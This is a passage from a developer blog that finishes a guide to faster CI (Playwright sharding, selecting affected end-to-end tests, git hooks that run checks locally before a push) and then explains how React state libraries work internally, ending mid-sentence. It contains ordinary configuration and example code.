incremental mode, and on the next run it only rechecks what changed. ```json // tsconfig.json { "compilerOptions": { "incremental": true, "tsBuildInfoFile": ".cache/tsconfig.tsbuildinfo" } } ``` Cache `.cache/` the same way, and your typecheck job stops rebuilding type information for files nobody touched. ### The snails Everything so far is fast because unit tests are fast. End-to-end tests are not fast because browser tests are inherently slow and grow linearly with your product. Playwright ships the answer as a flag. `--shard=1/4` runs a quarter of your suite, and a matrix runs all four quarters on four machines at once. Start with the config: ```ts // playwright.config.ts import { defineConfig } from '@playwright/test'; export default defineConfig({ testDir: './e2e', fullyParallel: true, reporter: process.env.CI ? 'blob' : 'html', use: { baseURL: process.env.PLAYWRIGHT_BASE_URL ?? 'http://localhost:3000', trace: 'on-first-retry', }, }); ``` Without `fullyParallel: true`, Playwright distributes whole files across shards. Your one large spec file becomes a single shard, while the other three finish early and sit idle. Now the job, with browser caching: ```yaml e2e: runs-on: ubuntu-latest strategy: fail-fast: false matrix: shard: [1, 2, 3, 4] steps: - uses: actions/checkout@v4 with: fetch-depth: 0 filter: blob:none - uses: ./.github/actions/setup - name: Read the installed Playwright version run: | VERSION=$(node -p "require('@playwright/test/package.json').version") echo "PLAYWRIGHT_VERSION=$VERSION" >> "$GITHUB_ENV" - id: browsers uses: actions/cache@v4 with: path: ~/.cache/ms-playwright key: playwright-${{ runner.os }}-${{ env.PLAYWRIGHT_VERSION }} # deliberately no restore-keys - if: steps.browsers.outputs.cache-hit != 'true' run: npx playwright install --with-deps chromium - if: steps.browsers.outputs.cache-hit == 'true' run: npx playwright install-deps chromium - run: npx playwright test --shard=${{ matrix.shard }}/4 - uses: actions/upload-artifact@v4 if: always() with: name: blob-report-${{ matrix.shard }} path: blob-report retention-days: 7 ``` ### Four shards, four reports Each shard writes its own report, leaving you opening 4 artifacts to find 1 failure. That is what the `blob` reporter is for: it writes a mergeable intermediate format instead of finished HTML. We need to add a job that stitches them together. ```yaml e2e-report: if: always() needs: [e2e] runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - uses: actions/download-artifact@v4 with: path: all-blob-reports pattern: blob-report-* merge-multiple: true - run: npx playwright merge-reports --reporter html ./all-blob-reports - uses: actions/upload-artifact@v4 with: name: playwright-report path: playwright-report ``` ### Narrowing E2E tests Sharding makes your suite four times faster, but we don't want to run the entire E2E test suite for a button change. Playwright seems to have an `--only-changed` param that does this, but it doesn't work as expected. ```bash npx playwright test --only-changed=origin/main ``` It walks the import graph of your spec files and keeps the ones your diff can reach, exactly like `vitest related` in part 1. Now look at a real spec. ```ts // e2e/dashboard.spec.ts import { test, expect } from '@playwright/test'; test('dashboard loads', async ({ page }) => { await page.goto('/dashboard'); await expect(page.getByRole('heading')).toBeVisible(); }); ``` It imports nothing from your app. It navigates to a URL and communicates with the rendered page via the browser. So when you change Button, that spec's import graph never touches your diff, and `--only-changed` skips it. The dashboard renders Button, your change broke it, and your e2e job reports green. The connection you need is not an import but the route. Your affected list from part 1 already contains the route files, because route entries sit at the top of your import tree. Change Button, and the walk climbs from Button to DashboardPage to `src/app/dashboard/page.tsx`, which is a URL you can name. Coming the other way, each spec tells you which URLs it visits, because `page.goto` takes them as literals you can read out of the source. So we can build an `e2e-affected.mjs` script file that handles this and can be used by the E2E job. Change Button.tsx in an app with four specs and you get three: ```bash $ BASE_REF=main node scripts/e2e-affected.mjs e2e/checkout.spec.ts e2e/dashboard.spec.ts e2e/settings.spec.ts ``` Dashboard and Settings render Button. Checkout comes along because it walks through the `/dashboard` partway. Billing renders no Button, visits no affected route, and stays out. Change a Billing-only file instead, and the selection works as well. ```bash e2e/billing.spec.ts e2e/checkout.spec.ts ``` Here is the full e2e job in the CI workflow: ```yaml e2e: runs-on: ubuntu-latest strategy: fail-fast: false matrix: shard: [1, 2, 3, 4] steps: - uses: actions/checkout@v4 with: fetch-depth: 0 filter: blob:none - uses: ./.github/actions/setup - name: Read the installed Playwright version run: | VERSION=$(node -p "require('@playwright/test/package.json').version") echo "PLAYWRIGHT_VERSION=$VERSION" >> "$GITHUB_ENV" - id: browsers uses: actions/cache@v4 with: path: ~/.cache/ms-playwright key: playwright-${{ runner.os }}-${{ env.PLAYWRIGHT_VERSION }} - if: steps.browsers.outputs.cache-hit != 'true' run: npx playwright install --with-deps chromium - if: steps.browsers.outputs.cache-hit == 'true' run: npx playwright install-deps chromium # everything above is unchanged; the selection starts here - id: specs env: BASE_REF: origin/${{ github.base_ref }} run: | SPECS=$(node scripts/e2e-affected.mjs | tr '\n' ' ' | xargs) echo "list=$SPECS" >> "$GITHUB_OUTPUT" - name: No affected specs if: steps.specs.outputs.list == '' run: echo "Nothing to test." - name: Run affected specs if: steps.specs.outputs.list != '' && steps.specs.outputs.list != 'ALL' run: npx playwright test ${{ steps.specs.outputs.list }} --shard=${{ matrix.shard }}/4 - name: Run everything if: steps.specs.outputs.list == 'ALL' run: npx playwright test --shard=${{ matrix.shard }}/4 - uses: actions/upload-artifact@v4 if: always() with: name: blob-report-${{ matrix.shard }} path: blob-report retention-days: 7 ``` Just to clarify. It's still best practice to run the whole test suite on main regardless. This CI workflow is just for PRs to save time. ## CI, part 3: fail before the PR exists Smarter and cheaper than running this in the PR is to run it locally first. This gives agents a fast feedback loop, and if your app is a million+ lines of code, it's better to run locally anyway. Nothing is stopping you. Everything in parts 1 and 2 is a plain Node script that reads a git diff. An agent iterating on a failing typecheck will burn six push-and-wait cycles before you look up from whatever else you were doing. Give it one command to run. ```json // package.json { "scripts": { "verify": "node scripts/lint-affected.mjs && node scripts/typecheck-affected.mjs && node scripts/test-affected.mjs" } } ``` So `npm run verify` chains all three scripts, and on a change to Button, it looks like this: ``` > node scripts/lint-affected.mjs && node scripts/typecheck-affected.mjs && node scripts/test-affected.mjs lint: 7 files typecheck: 7 files test: 7 affected files RUN v4.1.10 ✓ src/components/ui/Button.test.tsx (1 test) 5ms ✓ src/features/dashboard/DashboardPage.test.tsx (1 test) 4ms Test Files 2 passed (2) Tests 2 passed (2) Duration 422ms ``` ESLint ran on seven files, `tsc` built a seven-file program, and Vitest ran the two specs that reach Button. That is the entire local gate, and it is the same work CI does (minus the e2e, which needs a browser and takes time to run). ### Wiring it into git Lefthook installs the hooks for you, and Husky works the same way if you already have it. ```bash npm install --save-dev lefthook npx lefthook install # writes the hooks into .git/hooks ``` Then split the work by how much of it you can afford to wait for. ```yaml # lefthook.yml pre-commit: parallel: true commands: lint: glob: '*.{ts,tsx}' run: npx eslint {staged_files} format: glob: '*.{ts,tsx,css,md}' run: npx prettier --write {staged_files} stage_fixed: true pre-push: commands: verify: run: npm run verify ``` Pre-commit stays on staged files only. `{staged_files}` expands to exactly what is in the commit, so a one-file change lints one file, and `stage_fixed: true` re-stages whatever Prettier rewrites, so you do not commit the unformatted version. Pre-push runs the real gate against the affected set rather than your whole app, which is the only reason a pre-push hook is tolerable at all. ### The base ref problem, in reverse Part 1 broke in CI because the runner had no history. Locally, you have the opposite problem: your history is stale. Your `origin/main` is whatever it was when you last fetched. The result is safe and slow, which is the correct direction to fail, but it makes the hook feel broken. Fetch first. ```yaml pre-push: commands: verify: run: git fetch origin main --quiet && npm run verify ``` ### Agents will bypass this, so plan for it Claude Code and its peers know what `--no-verify` does. An agent blocked by a failing hook will sometimes reach for it, just as a person does at 6pm on a Friday. Instructions help, so write them. This lives in my CLAUDE.md: ```markdown ## Definition of done A change is not done until this passes: npm run verify Run it before every push. Fix what it reports. NEVER use --no-verify. NEVER edit or delete git hooks. If a hook looks wrong, stop and ask rather than working around it. ``` ## The shape of the whole thing Put the pieces in a line, and the pipeline looks like this. The agent writes code and iterates against the local gate: lefthook running the affected lint, typecheck, and tests, the same commands CI will run. CI runs only the changed modules and their dependents, in parallel jobs, with Playwright running changed tests on the PR and the full sharded suite in the merge queue. Whether AI writes 27% of your code or 70% of it, the volume only goes one direction from here. Now you have a fast CI pipeline, next up is deploying correctly. Stay tuned for part 2 next week. ## References - [Turborepo: Constructing CI](https://turborepo.dev/docs/crafting-your-repository/constructing-ci) and the [`--affected` flag reference](https://turborepo.dev/docs/reference/run) - [Playwright: Sharding](https://playwright.dev/docs/test-sharding) and [Continuous Integration](https://playwright.dev/docs/ci) (including `--only-changed`) - [Vercel: Rolling Releases](https://vercel.com/docs/rolling-releases) and the [`vercel rolling-release` CLI reference](https://vercel.com/docs/cli/rolling-release) - [Cloudflare: Gradual deployments](https://developers.cloudflare.com/workers/configuration/versions-and-deployments/gradual-deployments/), [Rollbacks](https://developers.cloudflare.com/workers/configuration/versions-and-deployments/rollbacks/), and the [production safety launch post](https://blog.cloudflare.com/workers-production-safety/) - [Netlify: Split Testing](https://docs.netlify.com/manage/monitoring/split-testing/) - [Graphite CLI documentation](https://graphite.com/docs) — stacked PRs and the stack-aware merge queue - [InfoQ: GitHub Targets Large Merge Problem with Stacked PRs](https://www.infoq.com/news/2026/04/github-stacked-prs/) — the `gh-stack` private preview - [anthropics/claude-code-action](https://github.com/anthropics/claude-code-action) — Claude Code as a GitHub Action - [Lefthook](https://github.com/evilmartians/lefthook) - Neciu Dan, [GitHub Actions Cache Poisoning is eating open source](https://neciudan.dev/github-actions-poisoning) and [How the Cline CI got compromised](https://neciudan.dev/cline-ci-got-compromised-here-is-how) - Adnan Khan, [The Monsters in Your Build Cache](https://adnanthekhan.com/2024/05/06/the-monsters-in-your-build-cache-github-actions-cache-poisoning/) — the first cache poisoning research - [zizmor](https://github.com/woodruffw/zizmor) — static analysis for GitHub Actions workflows --- ## Do we need state management libraries anymore? URL: https://neciudan.dev/do-we-need-state-management-libraries Published: 2026-07-21 Recently, I recorded a Señors at Scale episode with Dan Abramov, creator of Redux (I will link it here once it's published), and mid-conversation, he told me that state management libraries are no longer necessary. I was shocked or flabbergasted (I finally got to use this word). But after thinking about it for a bit, it kinda makes sense. We needed State Management libraries to avoid multiple re-renders that occur with Context, but we actually want to be more precise about how we handle our State. I wrote about this before in my [component communication patterns article](https://neciudan.dev/component-communication-patterns-in-react), that there are different types of state. **UI state** is local. A modal being open, a dropdown selection, an input value. `useState` handles this. **Server state** is a cached copy of data that lives on a backend. It goes stale, it refetches, and is reused by your components as a cache layer. TanStack Query owns this category now (read a gentle intro to TanStack [here](https://neciudan.dev/a-gentle-introduction-to-tanstack-query)). **URL state** is a snapshot of your app at a given time, which you want to share so you store it in the URL. Usually with libraries like Nuqs. **Global state** is state that does not change during the users session, like app theme, currency, location, language, mostly configuration. This should live in React Context. **Complex shared client state** is the leftover slice which I recommended in my article to use a small State Management library like Zustand. So if we correctly split out the state into its corresponding buckets and set guardrails to make sure we dont mess up, do we still need a State Management library for that last tiny (or not-so-tiny) slice? Let's explore how the famous state libraries do it themselves under the hood, then build our own version and find out. ## The OG: Redux Redux is basically a pub/sub store. Pub/sub is short for publish/subscribe: interested parties register a callback (they subscribe), and when the value changes, the store calls every registered callback (it publishes). On top of the pub/sub core, Redux adds one rule: the state can only change through a reducer. A reducer is a pure function: the same inputs always produce the same output, and nothing outside the function is touched (no side effects). The core looks like this: ```ts function createStore(reducer, initialState) { let state = initialState; const listeners = new Set<() => void>(); function getState() { return state; } function dispatch(action) { state = reducer(state, action); listeners.forEach((listener) => listener()); return action; } function subscribe(listener) { listeners.add(listener); return () => listeners.delete(listener); } return { getState, dispatch, subscribe }; } ``` I want to be clear that this is not a metaphor for Redux. This is, minus edge-case handling, the actual mechanism: `dispatch` runs your reducer to compute the next state, then notifies every listener; `subscribe` registers a listener and returns a function that removes it. `createStore` runs, declares a `state` variable, and returns three functions; those functions keep access to `state` even after `createStore` has finished (a closure). Using it looks like this: ```ts function counterReducer(state = { count: 0 }, action) { switch (action.type) { case 'counter/incremented': return { ...state, count: state.count + 1 }; default: return state; } } const store = createStore(counterReducer, { count: 0 }); store.dispatch({ type: 'counter/incremented' }); store.getState(); // { count: 1 } ``` And on the React side, `react-redux` gives you hooks that connect components to that store: ```tsx function Counter() { const count = useSelector((state) => state.count); const dispatch = useDispatch(); return ( ); } ``` The `useSelector` hook solves the Context problem by reducing re-renders. You pass a function that picks out the slice you care about, and the component only re-renders when that slice changes. So why bother describing every change as an action object instead of just setting the state? Because action objects are serializable, meaning they can be turned into plain JSON and back. Your app's entire history becomes a log of plain objects, and since reducers are pure functions, replaying that log always produces the same state. That's what makes the Redux DevTools possible, including time-travel debugging (which was the original reason Dan built Redux in the first place): the DevTools record every dispatched action, and stepping "back in time" just means replaying the log up to an earlier point. But the downside with old school Redux was that if you wanted to add one boolean toggle meant touching an action type constant, an action creator, a reducer case, and a selector: ```ts // constants.ts export const SIDEBAR_TOGGLED = 'ui/sidebarToggled'; // actions.ts export const toggleSidebar = () => ({ type: SIDEBAR_TOGGLED }); // reducer.ts case SIDEBAR_TOGGLED: return { ...state, sidebarOpen: !state.sidebarOpen }; // selectors.ts export const selectSidebarOpen = (state) => state.ui.sidebarOpen; ``` Four files for one boolean. Multiply by every field in a large app, and you understand why an entire generation of developers has an emotional reaction to the word "reducer." The modern answer is Redux Toolkit, which collapses those four files into a single `createSlice` call and generates the actions for you. Redux itself now marks `createStore` as deprecated in its docs and points everyone at Redux Toolkit's `configureStore`; One more thing about `react-redux` before we move on. Since version 8, `useSelector` is built on a React hook called `useSyncExternalStore`, which subscribes to the store, reads your selected slice, and re-renders the component when that slice changes. Remember that hook name. It's going to keep showing up. ## Zustand Zustand is what happens when you keep the Redux mechanism but delete its conventions. The name is German for "state," and it comes from the Poimandres collective, the same group behind Jotai and Valtio (Daishi Kato is the author, and I have a cool podcast episode with him [check it out here](https://www.youtube.com/watch?v=ns8ith5cu-U&list=PLeeGnEj5psFIwWJfpCwnedMsFApK6CvRr&index=26&t=6s). The real `createStore` from the Zustand source, lightly simplified: ```ts const createStore = (createState) => { let state; const listeners = new Set<() => void>(); const setState = (partial) => { const nextState = typeof partial === 'function' ? partial(state) : partial; if (!Object.is(nextState, state)) { state = Object.assign({}, state, nextState); listeners.forEach((listener) => listener()); } }; const getState = () => state; const subscribe = (listener) => { listeners.add(listener); return () => listeners.delete(listener); }; const api = { setState, getState, subscribe }; state = createState(setState, getState, api); return api; }; ``` It's basically the same as Redux, except that `setState` replaces `dispatch` and the reducer. You update the state directly with a partial object rather than describing the update as an action, so there is no action log and therefore no time-travel utilities. `Object.is` is JavaScript's strictest equality comparison, and for objects it answers one question: are these two references *the same object in memory*? Two objects that look identical but were created separately are not `Object.is`-equal. Zustand uses it here in case you set the same state reference again, nobody gets notified. The clever part is the last two lines of `createStore`. Your `createState` function receives `set` and `get` as arguments, which is why a Zustand store can define its actions inline, next to the state they modify: ```ts const useBearStore = create((set) => ({ bears: 0, increase: () => set((state) => ({ bears: state.bears + 1 })), })); function BearCounter() { const bears = useBearStore((state) => state.bears); const increase = useBearStore((state) => state.increase); return ; } ``` If you're wondering how `increase` can receive `set` before `state` even exists (look at the source again: `state` is only assigned on the last line, *after* `createState` runs), the answer is that nothing runs yet. Your actions only capture a reference to the `set` function; by the time anyone clicks the button and `increase` actually executes, `state` has long been assigned. The `create` function wraps `createStore` and returns a hook. The hook subscribes to the store with `useSyncExternalStore` (again), reads `selector(getState())`, and re-renders when the selected value changes; the same selector idea as `useSelector`, without the Provider, actions, or reducer. The whole library weighs around a kilobyte gzipped. ## Jotai Redux and Zustand are top-down: there's one store, and components select slices from it. Jotai inverts this. Instead of one store you select from, you have many small atoms you compose together, and the state graph is built bottom-up. The idea is not original. Meta released Recoil in 2020, the first atom-based library for React, and Recoil required every atom to have a globally unique string key. Those string keys collided across code-split bundles, leaked between tests, and generally caused the kind of pain string-based identity always does. Meta stopped developing Recoil and archived the repository in early 2025. Jotai took the atom idea and fixed the identity problem in one move: the atom object itself is the key, and an atom holds no state. ```ts export function atom(read) { if (typeof read === 'function') { return { read }; } return { init: read }; } ``` `atom(0)` returns `{ init: 0 }`. A config object. You can call `atom()` at the module level, in a component, inside another atom, and all you've created is a small object that describes a piece of state. The values live elsewhere, in a `WeakMap` inside the store, keyed by the atom config itself: ```ts const atomStateMap = new WeakMap(); function getAtomState(atom) { let atomState = atomStateMap.get(atom); if (!atomState) { atomState = { value: atom.init, listeners: new Set(), dependents: new Set(), }; atomStateMap.set(atom, atomState); } return atomState; } ``` Atoms are identified by reference, so there are no string keys to collide, and when an atom is no longer imported anywhere, its state gets garbage collected along with it. The interesting machinery kicks in with derived state: ```ts const countAtom = atom(0); const doubleAtom = atom((get) => get(countAtom) * 2); ``` How does Jotai know that `doubleAtom` depends on `countAtom`? It doesn't parse your function or ask you to declare anything. It finds out by *running* the function and watching what it asks for: ```ts function readAtom(atom) { const atomState = getAtomState(atom); // primitive atom: just return the stored value if (!atom.read) { return atomState.value; } // derived atom: run the read function with a tracked `get` const get = (dependency) => { getAtomState(dependency).dependents.add(atom); return readAtom(dependency); }; return atom.read(get); } ``` The `get` that Jotai hands to your read function is being watched (Big Brother style). Every atom you `get` during the evaluation records the current atom as its dependent, so after `doubleAtom` runs once, `countAtom` knows that `doubleAtom` needs to hear about its changes. ```ts function writeAtom(atom, newValue) { const atomState = getAtomState(atom); atomState.value = newValue; atomState.listeners.forEach((listener) => listener()); atomState.dependents.forEach((dependent) => { recomputeAtom(dependent); // re-run its read, then notify ITS dependents }); } ``` When you update `countAtom` the store walks the dependents graph: re-evaluate `doubleAtom`, notify anything listening to `doubleAtom`, then anything depending on *that*, cascading through the affected branch of the graph while the rest stays untouched. And because dependencies are re-recorded on every read, they can be conditional. An atom that only calls `get(userAtom)` when `get(loggedInAtom)` is true simply stops depending on `userAtom` when the condition changes. In a component, atoms feel almost identical to `useState`: ```tsx function Counter() { const [count, setCount] = useAtom(countAtom); const double = useAtomValue(doubleAtom); return ( ); } ``` `useAtom` returns a value and a setter, deliberately mirroring `useState`; `useAtomValue` is the read-only half for when a component only displays a value and has no business updating it. Btw `useAtom` is the one integration in this list that is *not* built on `useSyncExternalStore`. We will discuss why a little later. ## MobX It's been around since 2015, just like Redux, and the two represented opposite philosophies from day one. Redux said, "Make every change explicit." MobX said, "Just mutate, we'll figure out who cares." This model has three pieces. Observables are your state. Computed values are derived from observables. Reactions are side effects that rerun when the observables they depend on change. ```tsx import { makeAutoObservable } from 'mobx'; import { observer } from 'mobx-react-lite'; class TimerStore { seconds = 0; constructor() { makeAutoObservable(this); } get minutes() { return Math.floor(this.seconds / 60); } tick() { this.seconds += 1; } } const timer = new TimerStore(); const TimerView = observer(() => {timer.minutes}:{timer.seconds % 60}); ``` `makeAutoObservable` walks the instance and converts everything: fields become observables, getters become computed values (cached, recomputed only when their inputs change), and methods become actions, which batch their mutations so that observers are notified once at the end rather than after every assignment. The `observer` wrapper is where the magic happens: ```ts let currentListener: (() => void) | null = null; function observable(target) { const listenersByProp: Record void>> = {}; return new Proxy(target, { get(obj, prop) { if (currentListener) { // ??= creates the Set for this property if it doesn't exist yet (listenersByProp[prop] ??= new Set()).add(currentListener); } return obj[prop]; }, set(obj, prop, value) { obj[prop] = value; listenersByProp[prop]?.forEach((listener) => listener()); return true; }, }); } function autorun(fn) { currentListener = fn; fn(); currentListener = null; } ``` Check it out, it's using proxies. A `Proxy` is a built-in JavaScript object that wraps another object and intercepts operations on it; the `get` trap fires on every property read, and the `set` trap fires on every property write. Let's walk through what happens. `autorun` sets the global `currentListener` to your function and runs it. While it runs, every observable property it reads fires the `get` trap, which sees a listener is active and records it *for that specific property*. When the function finishes, tracking switches off. Later, when someone changes a property, the `set` trap fires and notifies only the listeners who read that property, not anyone else. Twenty lines, and you have automatic per-property dependency tracking, without selectors, dependency arrays, or declarations of any kind. The system knows what you depend on because it watched you read it. MobX reacts to any observable property that is *read during the execution of a tracked function*. Here are 2 bugs that can appear if you do not follow the rule: ```tsx // Bug 1: destructuring outside a tracked function copies a plain value const { seconds } = timer; // read happens HERE, module level, nothing listening const TimerView = observer(() => { return {seconds}; // renders a plain copied number, never updates }); ``` Destructuring *inside* the observer's render is fine, because the read happens while tracking is on. But destructure at the module level, or in a parent component that isn't an observer, and you've copied a number into a variable; the observable read already happened where no listener was recording, so the component will never hear about updates. ```ts // Bug 2: console.log is async about formatting objects autorun(() => { console.log(message); // logs the object, but never READS message. title }); message.title = 'new title'; // autorun does not re-run ``` The autorun never dereferenced `.title`, so it doesn't depend on it. The console showing the updated title later is the browser lazily formatting the object, which makes you think the tracking is broken. Since React 18, `mobx-react-lite` also uses `useSyncExternalStore` to deliver notifications, keeping a global version number that bumps with each mutation so React can detect changes safely during concurrent rendering. ## Valtio Valtio (also by Daishi Kato) is what you get when you take MobX's read-tracking idea and rebuild it around immutable snapshots, which happen to be the one thing React is happiest rendering. The API: ```tsx import { proxy, useSnapshot } from 'valtio'; const state = proxy({ count: 0, text: 'hello' }); function Counter() { const snap = useSnapshot(state); return ; } ``` There are no actions, no setters, and no selectors; you write `++state.count` in an event handler and the right components update. Three mechanisms make this work, stacked on top of each other. **The write proxy.** `proxy()` wraps your object in a `Proxy` whose `set` trap fires on every mutation, recursively wrapping nested objects so that `state.user.address.city = 'Berlin'` is caught too. **Snapshots.** React can't safely render a mutable object that might change mid-render, so Valtio maintains a second representation. `snapshot(state)` produces an immutable, frozen copy. **The read proxy.** `useSnapshot` doesn't hand you the snapshot directly. It wraps it in *another* proxy, a read-tracking one from a package called `proxy-compare`, and while your component renders, that proxy records every property path you touch, so it knows the component read `snap.count` and never went near `snap.text`. On the next store change, Valtio compares old and new snapshots only at the paths you accessed, and if nothing you read changed, your component doesn't re-render. The two-object design does create Valtio's number one problem. There's a live proxy for writing and a snapshot for reading, and mixing them up can backfire: ```tsx function Counter() { const snap = useSnapshot(state); return ( ); } ``` The rule of thumb is to read from the snapshot in render, read, and write through the proxy everywhere else. And underneath it all, `useSnapshot` subscribes to the write proxy and passes the snapshots to React through the same hook as everyone else: `useSyncExternalStore`. ## Every road leads to useSyncExternalStore Let's line up the five libraries and their three philosophies. Redux and Zustand are pub/sub stores with selectors; you tell them which part of the state you read. Jotai is a dependency graph of atoms; you subscribe to the pieces directly, and derivation is tracked by running your code. Valtio and MobX are proxy-based; they watch which properties you read and build your subscriptions for you. But how does the store find out which part you're interested in? And with the one Jotai asterisk from earlier, they all hand their answer to React through the same public React hook. `useSyncExternalStore` shipped with React 18, and as its name implies, it syncs any "External store", which means any source of state that lives outside React's own `useState` and `useReducer`. Its contract has three functions: ```ts const value = useSyncExternalStore( subscribe, // how to listen for changes getSnapshot, // how to read the current value getServerSnapshot, // what to return during server rendering ); ``` React calls `subscribe` with a callback, and the store promises to invoke that callback whenever anything changes. React then calls `getSnapshot`, compares the result to the previous one with `Object.is`, and re-renders the component if the value changed. The third argument is for server-side rendering. The server renders your app to HTML with no browser and no live store; the browser then downloads that HTML, and React performs hydration, attaching event handlers to the existing markup while re-rendering the tree in memory and checking that it matches. (For more on hydration, check out my in-depth article [Different hydration strategies](https://neciudan.dev/hydration-and-rendering-strategies) But the real reason this hook exists, the problem you cannot cleanly solve from your own code outside React, is **tearing**. Since React 18, rendering is concurrent, meaning React can pause a render mid-tree to handle something more urgent and resume later. Now, imagine we have a store with `count = 5`. React starts rendering, your `
` reads the store and renders "5". React pauses. During the pause, an event fires, and the store updates to `6`. React renders `` from the store, which displays "6". The commit finishes, and your user is looking at a screen where the header says 5 and the sidebar says 6, rendered from the same store in the same pass. That's tearing. With React state, this can't happen because React snapshots its own state per render; an external store offers no such guarantee. `useSyncExternalStore` fixes this. It checks whether the store changed while a render was in flight, and if so, forces a synchronous re-render with the latest, consistent value before the user can see the torn frame. But concurrent React offers two headline features: time slicing, which breaks a large render into chunks so the browser stays responsive in between, and transitions, which mark an update as non-urgent with `startTransition` so React can keep the current screen interactive while preparing the next one in the background. Updates that come through an external store get neither. They must be applied synchronously to preserve the consistency guarantee we just described, so React can't slice or deprioritize them. External stores are safe in concurrent React, but they're second-class citizens of it. State that lives *inside* React can be interrupted, deprioritized, and sliced, and state outside it cannot. The React team will tell you this is a reason to keep state in React whenever possible. And now Jotai's footnote from earlier makes sense: this is the trade it refused. By subscribing through `useReducer` instead of this hook, Jotai keeps transitions and time slicing working, at the price of tolerating the brief inconsistency the hook exists to prevent. ## Putting on the builder hat We saw the examples of how each library works. Let's write our own. The store comes first, and by now you could probably write it from memory: ```ts export function createStore(initialState: T) { let state = initialState; const listeners = new Set<() => void>(); return { getState: () => state, setState: (partial: Partial) => { state = { ...state, ...partial }; listeners.forEach((listener) => listener()); }, subscribe: (listener: () => void) => { listeners.add(listener); return () => listeners.delete(listener); }, }; } export const store = createStore({ count: 0, user: null as User | null }); ``` This already works outside React. You can call the store.setState({ count: 1 })` from anywhere, an event handler, a WebSocket callback, a test, and every listener hears about it. Now the React side: ```tsx function useStore() { // the reducer state is a throwaway counter; incrementing it // is just the standard trick to force React to re-render const [, forceRender] = useReducer((c) => c + 1, 0); useEffect(function subscribeToStore() { return store.subscribe(forceRender); }, []); return store.getState(); } ``` Subscribe on mount, force a re-render on every store change, and read the state during render. It works in the happy path, but it has two problems, one obvious and one sneaky. The sneaky one is a race condition. `useEffect` runs after the browser paints, so there is a window of time between your component rendering and the subscription existing. If the store updates inside that window, from another component's effect, for example, this component has already rendered the old state and will never be told about the new one. It's stuck with stale state until something else happens to update the store again. ### Selectors We know the fix from Redux and Zustand: let the component declare what it reads. ```tsx function useStore(selector: (state: StoreState) => T): T { const [selected, setSelected] = useState(() => selector(store.getState())); useEffect(function subscribeToStore() { return store.subscribe(() => { setSelected(selector(store.getState())); }); }, []); return selected; } // usage const count = useStore((state) => state.count); ``` `useState` bails out of re-rendering when the new value is `Object.is`-equal to the old one, so a `count` change no longer re-renders the `user` component. One problem down. Except I just introduced a bug. The effect has an empty dependency array but uses `selector` from the render scope, so the subscription captures the *first* selector this component ever rendered with, forever. Pass an inline arrow that closes over a prop, and the store will keep calling the stale version long after the prop has changed: ```tsx // `filter` changes, but the subscription still filters by the old value const todos = useStore((state) => state.todos.filter((todo) => todo.status === filter) ); ``` Fine, then let's add `selector` to the dependency array. But an inline arrow is a brand-new function on every render, so now the effect tears down and resubscribes on every render of the component. We traded a stale closure for subscription churn. You can escape with a ref that always holds the latest selector, and that's roughly what libraries did for years before React 18. And notice what we still haven't solved: the mount race from the previous section is still there, and we have no defense against tearing, because our hook reads `store.getState()` whenever React happens to call it, and concurrent React makes no promises about when that is. We have arrived, step by step, at the point where the React team said, "Stop, we'll do this part." ## useSyncExternalStore fixes all three Replace the whole dance: ```tsx function useStore(selector: (state: StoreState) => T): T { return useSyncExternalStore( store.subscribe, () => selector(store.getState()), () => selector(store.getState()), ); } ``` The subscription race is gone because React verifies the snapshot after subscribing and re-renders if it has changed in the gap. The stale selector is gone because `getSnapshot` is a fresh closure on every render, so it always sees the current `selector` and the current props. And tearing is handled because that's the hook's raison d'être. Our custom store is now concurrent-safe, selector-based, and usable from any component. So obviously, the next step is to break it again. ## The infinite loop Select two values at once, the way any reasonable person eventually will: ```tsx const { count, user } = useStore((state) => ({ count: state. count, user: state.user, })); ``` Open the console, and you get `Maximum update depth exceeded`, or a React warning that the result of `getSnapshot` should be cached. The component is re-rendering in an infinite loop. Our selector returns a fresh object literal on every call. React compares snapshots using `Object.is`, and, as we established in the Zustand section, `Object.is` checks whether two values are the same object in memory. A new `{ count, user }` literal is never identical, no matter how similar it looks. So React sees a "changed" snapshot, re-renders, calls `getSnapshot` again, receives yet another new object, concludes the store changed again, and around we go until React pulls the emergency brake. This isn't a bug in the hook so much as a strict requirement in its contract: snapshots must be referentially stable, the same object back unless something actually changed. Zustand's answer is an equality function; you opt into shallow comparison with `useShallow`, which says "compare the object one level deep instead of by reference." We can build the same thing by caching the last result and returning it when nothing inside has changed: ```tsx function useStore( selector: (state: StoreState) => T, equalityFn: (a: T, b: T) => boolean = Object.is, ): T { // wrap the cache in an object so a selector legitimately // returning `undefined` doesn't look like an empty cache const cache = useRef<{ value: T } | null>(null); const getSnapshot = () => { const next = selector(store.getState()); if (cache.current && equalityFn(cache.current.value, next)) { return cache.current.value; } cache.current = { value: next }; return next; }; return useSyncExternalStore(store.subscribe, getSnapshot, getSnapshot); } ``` This is, almost line for line, what Zustand's `useShallow` does: it wraps your selector and keeps returning the previous result while the shallow comparison holds. One last step. Zustand doesn't make you define the store and the hook separately, so neither will we. ```tsx export function create(createState: (set, get) => T) { let state: T; const listeners = new Set<() => void>(); const setState = (partial) => { const next = typeof partial === 'function' ? partial(state) : partial; state = { ...state, ...next }; listeners.forEach((listener) => listener()); }; const getState = () => state; const subscribe = (listener: () => void) => { listeners.add(listener); return () => listeners.delete(listener); }; state = createState(setState, getState); function useBoundStore( // the default selector returns the whole state; the double cast // exists only to satisfy TypeScript, which can't know that U // is the same as T when no selector is passed selector: (state: T) => U = (s) => s as unknown as U, equalityFn: (a: U, b: U) => boolean = Object.is, ) { const cache = useRef<{ value: U } | null>(null); const getSnapshot = () => { const next = selector(getState()); if (cache.current && equalityFn(cache.current.value, next)) { return cache.current.value; } cache.current = { value: next }; return next; }; return useSyncExternalStore(subscribe, getSnapshot, getSnapshot); } return Object.assign(useBoundStore, { getState, setState, subscribe }); } ``` ```tsx const useCounterStore = create((set) => ({ count: 0, increment: () => set((state) => ({ count: state.count + 1 })), })); function Counter() { const count = useCounterStore((state) => state.count); const increment = useCounterStore((state) => state.increment); return ; } ``` That's Zustand, in about fifty lines, with no dependencies, safe under concurrent rendering. Fair warning about the sharp edges we left in: our `setState` always shallow-merges objects, so it can't hold non-object state like a plain number, and there's no `getInitialState` for server rendering. The real Zustand handles both. ## So, do we need them? So, do we need state management libraries anymore? For the average app, the honest answer is that server cache, URL state, local state, and fifty lines you understand completely will cover you. For apps that truly live in that last slice, collaborative editors, design tools, anything where complex client state is the product, the libraries still justify their install because of how they handle complex edge cases. Dan built the most successful state management library ever in 2015, and in 2026 